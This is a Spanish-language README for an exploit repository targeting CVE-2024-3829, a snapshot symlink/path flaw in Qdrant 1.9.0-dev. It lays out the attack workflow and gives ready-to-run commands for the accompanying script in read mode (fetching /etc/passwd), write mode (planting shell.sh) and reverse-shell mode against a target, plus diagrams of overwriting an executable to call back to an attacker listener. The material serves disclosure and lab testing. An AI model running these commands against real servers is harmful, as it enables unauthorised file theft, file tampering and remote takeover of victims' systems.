CVE-2024-3829 para Qdrant - Exploit

 ########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################  
 _______  __   __  _______         _______  _______  _______  _   ___         _______   _____   _______  _______   
|       ||  | |  ||       |       |       ||  _    ||       || | |   |       |       | |  _  | |       ||  _    |  
|       ||  |_|  ||    ___| ____  |____   || | |   ||____   || |_|   | ____  |___    | | |_| | |____   || | |   |  
|       ||       ||   |___ |____|  ____|  || | |   | ____|  ||       ||____|  ___|   ||   _   | ____|  || |_|   |  
|      _||       ||    ___|       | ______|| |_|   || ______||___    |       |___    ||  | |  || ______||___    |  
|     |_  |     | |   |___        | |_____ |       || |_____     |   |        ___|   ||  |_|  || |_____     |   |  
|_______|  |___|  |_______|       |_______||_______||_______|    |___|       |_______||_______||_______|    |___|  
  
 ############################################### by fabse-hack.de ###############################################  

Este repositorio documenta y demuestra CVE-2024-3829 para qdrant/qdrant (v1.9.0-dev)

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-3829
• More information and idea for this repository:
• Huntr: https://huntr.com/bounties/abd9c906-75ee-4d84-b76d-ce1386401e08
• incibe: https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2024-3584
• GitHub: https://github.com/qdrant/qdrant/commit/15479a45ffa3b955485ae516696f7e933a8cce8a

Apoyo y Donaciones

Paypal:

Cómprame un Café:

Resumen

La vulnerabilidad permite la manipulación de archivos de instantáneas mediante trucos de symlink/ruta. Esto permite dos clases de impacto y una reverse shell jaja:

1. Lectura de archivos
2. Escritura de archivos
3. Ejecutar reverse shell

Dependiendo del entorno, las primitivas de escritura de archivos pueden escalar a ejecución de código.

Software Afectado (ver enlace NVD)

• Producto: Qdrant
• Versión: 1.9.0-dev
• Componente: Importación/Exportación de Instantáneas

Nota sobre el número de versión:

Esta versión ya no está disponible en la world wide web (algunas personas la llaman "internet").
En el repositorio de qdrant, el informe NVD Nist señaló el commit, esa es la versión vulnerable v1.9.0-dev.
Si quieres instalar esta versión para CTF / otras cosas en un docker, usa:

git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln

Flujo de Trabajo (Simplificado)

1. Crear una colección
2. Generar una instantánea
3. Desempaquetar y modificar la instantánea localmente
4. Inyectar un symlink en el archivo objetivo de lectura/escritura
5. Subir la instantánea modificada
6. Activar la recuperación de la instantánea
7. Evaluar el resultado leer contenido del archivo / escribir archivo / ejecutar reverse shell

Contenido del Repositorio

• cve_2024_3829.py - Exploit para el flujo de trabajo de lectura/escritura/activación
• requirements.txt - Dependencias de Python

Requisitos

• Sistema Kali Linux recomendado
• Python 3.10+
• Servidor Qdrant en ejecución para pruebas locales
• Paquete de Python requests

Instalación:

python3 -m pip install -r requirements.txt

Uso

Mostrar todas las opciones:

python3 cve_2024_3829.py -h

Ejemplos:

# Read mode
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd

# Write mode
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh

# Reverse shell mode
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>

Parámetros Disponibles

• -h, --help: mostrar ayuda de CLI
• -m, --mode: uno de read, write, reverse_shell (requerido)
  parámetros del objetivo:
• -tu, --target_url: URL base de Qdrant (por defecto en el script)
• -tp, --target_port: puerto objetivo de Qdrant (por defecto: 6333)
• -tpath, --target_path: ruta remota objetivo (por defecto: /etc/)

Notas

• --target_url debe ser la URL base sin el puerto al final si pasas --target_port por separado, porque el script construye las URLs como <url>:<target_port>/....
• En modo read, el script combina --target_path y --target_file_name (por ejemplo /etc/ + passwd).
• En modo write, --attacker_path debe apuntar a un archivo local existente y --attacker_file_name define el nombre del archivo remoto.
• Para pruebas de red a través de límites de Docker/WSL/host, verifica primero la accesibilidad (por ejemplo con netcat) antes de ejecutar el modo trigger.

sequenceDiagram
    participant Attacker
    participant Exploit
    participant Target
    participant Listener

    Attacker->>Exploit: Start exploit script
    Exploit->>Listener: Start TCP listener
    Exploit->>Target: Create malicious collection
    Exploit->>Target: Upload trigger script
    Exploit->>Target: Overwrite executable
    Exploit->>Target: Call /stacktrace endpoint
    Target->>Listener: Reverse shell connection
    Listener->>Attacker: Interactive shell access

flowchart TD
    Start[Start Listener]
    Bind[Bind to attacker port]
    Listen[Wait for connection]
    Accept[Accept incoming connection]
    Interactive[Interactive shell session]
    End[Connection closed]

    Start --> Bind
    Bind --> Listen
    Listen --> Accept
    Accept --> Interactive
    Interactive --> End